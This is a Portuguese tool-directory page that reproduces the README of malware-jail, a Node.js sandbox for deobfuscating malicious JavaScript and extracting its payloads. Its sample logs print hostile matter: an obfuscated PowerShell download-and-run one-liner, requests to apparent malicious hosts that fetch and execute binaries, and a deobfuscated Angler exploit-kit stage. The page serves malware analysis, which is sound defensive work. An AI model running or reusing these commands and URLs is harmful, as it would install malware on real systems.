Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
malware-jail — Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js | Kitploit
Ferramentas/GitHubGitHub/hynekpetrak/malware-jail
Análise Dinâmica (Sandboxing)Análise de Malware
GitHubhynekpetrak/malware-jail

malware-jail

Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js

Ver Repositório
47898há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

malware-jail

Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js

malware-jail é escrito para a sandbox 'vm' do Node. Atualmente implementa o contexto WScript (Windows Scripting Host) env/wscript.js, pelo menos a parte frequentemente usada por malware. O contexto de navegador de Internet está parcialmente implementado env/browser.js.

Funciona em qualquer sistema operacional. Desenvolvido e testado no Linux, Node.js v6.6.0.

Devido ao uso de alguns recursos ES6, você precisará do Node.js >= 6.x.

Veja EXEMPLOS para amostras de malware analisadas.

Se você tem novas amostras de malware, por favor submeta-as para javascript-malware-collection, seja por issue ou pull request.

Novos recursos

Versão 0.19

Enumera consultas WMI em um arquivo: wmis.json

Versão 0.17

Adicionado novo parâmetro:

root@kitploit:~
--t404 - requisições http sempre retornam HTTP/404 e lançam uma exceção. Isso permite enumerar todas as URLs remotas.

Versão 0.16

As URLs agora são salvas em urls.json. Veja o mais recente EXEMPLOS#malware-issue-14.

Várias correções de bugs e melhorias.

Versão 0.14

Várias correções de bugs e melhorias.

Versão 0.13

Adicionados novos parâmetros:

root@kitploit:~
-t msecs - limita o tempo de execução em "msecs" milissegundos, por padrão 60 segundos.
--h404 - requisições http sempre retornam HTTP/404 e não lançam exceção. Isso permite enumerar todas as URLs remotas.

Instalação

Você precisará ter Node.js e npm instalados.

malware-jail é construído sobre minimist, iconv-lite e entities.

Baixar do GitHub

Baixe o código-fonte com git:

root@kitploit:~
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Em seguida, instale todas as dependências (minimist, entities, iconv-lite) com:

root@kitploit:~
npm install

Pacote NPM

Ainda não disponível, em breve ...

Aviso

Tenha cuidado ao trabalhar com malware real. Um malware que tem conhecimento desta sandbox pode tentar escapar e prejudicar seu PC. Recomenda-se executá-lo a partir de uma conta Linux não privilegiada ou dentro de uma máquina Windows virtualizada. Os arquivos Angler na pasta malware NÃO estão desarmados.

Uso

root@kitploit:~
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, uma sandbox de malware ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. use arquivo de configuração alternativo, preceda com ./
7 May 20:54:52 -        -e ifile ... js que simula ambiente específico
7 May 20:54:52 -        -o ofile ... nome do arquivo onde a sandbox será despejada no final
7 May 20:54:52 -        -s odir  ... diretório de saída para arquivos gerados (payload do malware)
7 May 20:54:52 -        -b id    ... tipo de navegador, use -b list para valores possíveis
7 May 20:54:52 -        -t msecs ... número de milissegundos antes de encerrar a execução, padrão 1 minuto
7 May 20:54:52 -        --trace  ... imprime stack trace a cada linha de log
7 May 20:54:52 -        --down   ... permite baixar payloads de malware de servidores remotos
7 May 20:54:52 -        --h404   ... no download, sempre retorna HTTP/404
7 May 20:54:52 -        malware  ... js com o código do malware
7 May 20:54:52 - Se nenhum argumento for especificado, os valores padrão são retirados de config.json
7 May 20:54:52 - Possíveis valores -b: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

Na pasta exemplos você pode encontrar um arquivo de malware desativado. Execute a análise com:

root@kitploit:~
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Malware baseado em navegador de Internet você pode testar com

root@kitploit:~
node jailme.js -b IE11_W10 malware/example_browser.js

Ao final da análise, o contexto completo da sandbox é despejado em um arquivo 'sandbox_dump_after.json'.

Você pode querer examinar as seguintes entradas de 'sandbox_dump_after.json':

  • eval_calls - array de todos os argumentos das chamadas eval(). Útil se eval() é usado para desofuscação.
  • wscript_saved_files - conteúdo de todos os arquivos que o malware tentou soltar. Os arquivos reais também são salvos no diretório output/.
  • wscript_urls - todas as URLs que o malware pretendia fazer GET ou POST.
  • wscript_objects - objetos WScript ou ActiveX criados.

'sandbox_dump_after.json' usa JSONPath, implementado por JSON-js/cycle.js, para salvar referências duplicadas ou cíclicas para um mesmo objeto.

Exemplo de saída

root@kitploit:~
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparando ambiente da Sandbox.
11 Jan 00:06:24 -  => Executando: env/eval.js
11 Jan 00:06:24 - Preparando sandbox para interceptar chamadas eval().
11 Jan 00:06:24 -  => Executando: env/wscript.js
11 Jan 00:06:24 - Preparando sandbox para emular ambiente WScript.
11 Jan 00:06:24 - ==> Executando arquivo(s) de malware.
11 Jan 00:06:24 -  => Executando: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Criado: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Criado: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Não enviando dados, se quiser interagir com servidor remoto, defina --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Chamando onreadystatechange() com dados fictícios
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Criado: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
11 Jan 00:08:42 - Salvando: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Salvando: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - O contexto da sandbox foi salvo em: sandbox_dump_after.json

No exemplo acima, o payload foi extraído para output/_TEMP__49629482.dll e output/_TEMP__38611354.pdf

Exemplos

A pasta malware contém amostras reais de malware. A maioria baixada de https://malwr.com.

Por favor, veja EXEMPLOS para um índice completo de amostras de malware.

Exemplo: Analisando Wileen.js

Pegando script malicioso do malwr.com: Wileen.js

Aparentemente o malware não executa se executado dentro de um navegador:

root@kitploit:~
if (typeof document == "undefined") {

Portanto, você pode querer usar um arquivo de configuração alternativo que não carrega componentes do navegador/DOM:

root@kitploit:~
node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js 

Uso interessante do Powershell:

root@kitploit:~
1 Oct 13:05:34 -  => Executando: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - Criado: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE     -ExEc^U^Tio^n^p^oLIC^y^   B^Y^pas^S -NOpro^Fi^L^e^    -^W^InD^Ow^sT^yle^  HI^ddeN^  (^Ne^W^-^OBJ^ecT^     S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s  ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> Limpando sandbox.
1 Oct 13:05:34 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
1 Oct 13:05:34 - O contexto da sandbox foi salvo em: sandbox_dump_after.json

Arquivo de log: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out

Exemplo: Analisando ORDER-10455.js

Pegando JavaScript malicioso do malwr.com: ORDER-10455.js

Primeira execução sem interação com servidores remotos:

root@kitploit:~
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js

você obtém algo como:

root@kitploit:~
... 
29 Sep 23:17:21 - Chamando eval() no.: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - Criado: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Não enviando dados, se quiser interagir com servidor remoto, defina --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finalizado
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] criado.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - Criado: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Pasta_Especial__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - Criado: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Pasta_Especial__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - Retornando: 'undefined'
29 Sep 23:17:21 - ==> Limpando sandbox.
29 Sep 23:17:21 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)
29 Sep 23:17:21 - Salvando: output/Pasta_Especial__2_w8z05i7y2.exe
29 Sep 23:17:21 - Arquivo gerado salvo
29 Sep 23:17:21 - O contexto da sandbox foi salvo em: sandbox_dump_after.json

Parece ser um comportamento "padrão" de desofuscação para finalmente baixar um executável binário e executá-lo.

Se quisermos obter o payload real, execute com '--down=y':

root@kitploit:~
 node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out 
 

Arquivo de log: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out

Exemplo: Analisando Norri.js

Pegando JavaScript malicioso do malwr.com: Norri.js

Execute:

root@kitploit:~
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js

você obtém:

root@kitploit:~
30 Sep 01:02:11 -  => Executando: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict mode: false
30 Sep 01:02:11 - Chamando eval() no.: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Criado: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Criado: WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] criado.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Criado: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Criado: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Criado: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncado)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finalizado
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncado)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (truncado)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncado)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Limpando sandbox.
30 Sep 01:02:15 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncado)
30 Sep 01:02:16 - Salvando: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Arquivo gerado salvo
30 Sep 01:02:16 - O contexto da sandbox foi salvo em: sandbox_dump_after.json

O comportamento é óbvio a partir do log. O payload foi extraído para o arquivo output/TemporaryFolder_TempFile[15].

Arquivo de log: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out

Exemplo: Analisando Angler EK

Baixe e extraia o Angler EK de um arquivo pcap em ANGLER EK SENDS CRYPTOWALL para malware/angler/angler_full.html.

Remova a parte que não é Angler e salve como malware/angler/angler_stripped.html.

Remova as tags <script> e converta as tags <div> necessárias em:

root@kitploit:~
document._addElementById(id, content);

e salve como malware/angler/angler.js.

Execute a análise:

root@kitploit:~
node jailme.js malware/angler/angler.js

Eventualmente capture a saída em angler_output.txt:

root@kitploit:~
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt

Desofuscando o estágio final:function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV); if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") { window["v_bcd50d9482665cd4e129a272c76799e6"] = 1; var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR()); var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc."; var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1; var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F"; if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) { if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS) } else { window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS; document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS } } else { if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) { var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style="position:absolute;left:-2808px;">"; var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div"); if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) { document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } else { var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length; var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2)); wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } } } } OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK() } }

Licença

A Licença MIT (MIT)

Copyright (c) 2016 Hynek Petrak

É concedida permissão, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrição, incluindo, sem limitação, os direitos de usar, copiar, modificar, fundir, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software é fornecido o façam, sujeito às seguintes condições:

O aviso de copyright acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.

O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM QUALQUER TIPO DE GARANTIA, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, ADEQUAÇÃO A UM DETERMINADO FIM E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.

Baixar ferramenta